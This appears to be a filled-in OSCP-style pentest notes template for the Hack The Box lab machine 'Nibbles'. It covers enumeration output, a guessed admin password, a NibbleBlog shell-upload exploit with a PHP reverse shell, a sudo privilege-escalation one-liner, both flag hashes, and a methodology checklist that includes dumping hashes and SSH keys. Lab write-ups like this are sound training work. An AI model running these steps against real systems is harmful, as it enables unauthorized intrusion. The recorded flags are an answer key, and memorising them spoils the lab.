10.10.10.75

Enumeration

autorecon 10.10.10.75

http://10.10.10.75/nibbleblog

```
[*] Scanning target 10.10.10.75
[*] [10.10.10.75/all-tcp-ports] Discovered open port tcp/22 on 10.10.10.75
[*] [10.10.10.75/all-tcp-ports] Discovered open port tcp/80 on 10.10.10.75
```

TCP

UDP

Web Services

Nikto

Dirb|DirBuster

```
[22:53:12] 200 -    1KB - /nibbleblog/COPYRIGHT.txt
[22:53:12] 200 -   34KB - /nibbleblog/LICENSE.txt
[22:53:13] 200 -    5KB - /nibbleblog/README
[22:53:16] 301 -  321B  - /nibbleblog/admin  ->  http://10.10.10.75/nibbleblog/admin/
[22:53:16] 200 -    1KB - /nibbleblog/admin.php
[22:53:16] 200 -    2KB - /nibbleblog/admin/?/login
[22:53:16] 403 -  312B  - /nibbleblog/admin/.htaccess
[22:53:16] 200 -    2KB - /nibbleblog/admin/
[22:53:17] 301 -  332B  - /nibbleblog/admin/js/tinymce  ->  http://10.10.10.75/nibbleblog/admin/js/tinymce/
```

```
[22:53:17] 200 -    2KB - /nibbleblog/admin/js/tinymce/
[22:53:27] 301 -  323B  - /nibbleblog/content  ->  http://10.10.10.75/nibbleblog/content/
[22:53:27] 200 -    1KB - /nibbleblog/content/
[22:53:33] 200 -    3KB - /nibbleblog/index.php
[22:53:33] 200 -    3KB - /nibbleblog/index.php/login/
[22:53:33] 200 -   78B  - /nibbleblog/install.php
[22:53:34] 301 -  325B  - /nibbleblog/languages  ->  http://10.10.10.75/nibbleblog/languages/
[22:53:41] 301 -  323B  - /nibbleblog/plugins  ->  http://10.10.10.75/nibbleblog/plugins/
[22:53:41] 200 -    4KB - /nibbleblog/plugins/
[22:53:49] 200 -    2KB - /nibbleblog/themes/
[22:53:49] 301 -  322B  - /nibbleblog/themes  ->  http://10.10.10.75/nibbleblog/themes/
[22:53:50] 200 -    2KB - /nibbleblog/update.php
```

WebDav

CMS

Other Services

SMB

SNMP

DB

Other

Exploitation

Service Exploited:
Vulnerability Type:
Exploit POC:
Description:

Discovery of Vulnerability

/nibbleblog/README shows that Nibbleblog is version v4.03 which exploitable with RCE

/nibbleblog/admin.php will lock you out after a few failed attempts so careful what you are guessing.

/nibbleblog/content/private/users.xml ---> username: admin

admin/admin admin/password ... But the correct password is the room name all along: nibbles

admin/nibbles

Exploit Code Used

Source: https://packetstormsecurity.com/files/133425/NibbleBlog-4.0.3-Shell-Upload.html

Upload a php reverse shell, then visit http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Post Exploitation

Script Results

Host Information

Operating System

Architecture

Domain

Installed Updates

File System

Writeable Files\Directories

Directory List

Running Processes

Process List

Installed Applications

Installed Applications

Users & Groups

Users

Groups

Network

IPConfig\IFConfig

Network Processes

ARP

DNS

Route

Scheduled Jobs

Scheduled Tasks

Priv Escalation

Service Exploited:
Vulnerability Type:
Exploit POC:
Description:

Discovery of Vulnerability

sudo -l

User nibbler can use this path as root:

```
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
```

Exploit Code Used

```
echo “sudo -i” > /home/nibbler/personal/stuff/monitor.sh
chmod +x monitor.sh
sudo ./monitor.sh
cat /root/root.txt
```

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Goodies

Hashes

Passwords

Proof|Flags|Other

root.txt: c2eb8bf0c6ad7a58daa88c8f84f11262
user.txt: 86b307fbc602f60eb9b9ecd95f714c2e

Software Versions

Software Versions

Potential Exploits

Methodology

Network Scanning

- □ nmap -sn 10.11.1.*
- □ nmap -sL 10.11.1.*
- □ nbtscan -r 10.11.1.0/24
- □ smbtree

Individual Host Scanning

- □ nmap --top-ports 20 --open -iL iplist.txt
- □ nmap -sS -A -sV -O -p- ipaddress
- □ nmap -sU ipaddress

Service Scanning

WebApp

- □ Nikto
- □ dirb
- □ dirbuster
- □ wpscan
- □ dotdotpwn
- □ view source
- □ davtest\cadevar
- □ droopscan
- □ joomscan
- □ LFI\RFI Test

Linux\Windows

- □ snmpwalk -c public -v1 *ipaddress* 1
- □ smbclient -L //ipaddress
- □ showmount -e ipaddress port
- □ rpcinfo
- □ Enum4Linux

Anything Else

- □ nmap scripts (locate *nse* | grep servicename)
- □ hydra
- □ MSF Aux Modules
- □ Download the softward

Exploitation

- □ Gather Version Numbes
- □ Searchsploit
- □ Default Creds

- ☐ Creds Previously Gathered
- ☐ Download the software

Post Exploitation

Linux

- ☐ linux-local-enum.sh
- ☐ linuxprivchecker.py
- ☐ linux-exploit-suggestor.sh
- ☐ unix-privesc-check.py

Windows

- ☐ wpc.exe
- ☐ windows-exploit-suggestor.py
- ☐ windows_privesc_check.py
- ☐ windows-privesc-check2.exe

Priv Escalation

- ☐ acesss internal services (portfwd)
- ☐ add account

Windows

- ☐ List of exploits

Linux

- ☐ sudo su
- ☐ KernelDB
- ☐ Searchsploit

Final

- ☐ Screenshot of IPConfig\WhoamI
- ☐ Copy proof.txt
- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files

Log Book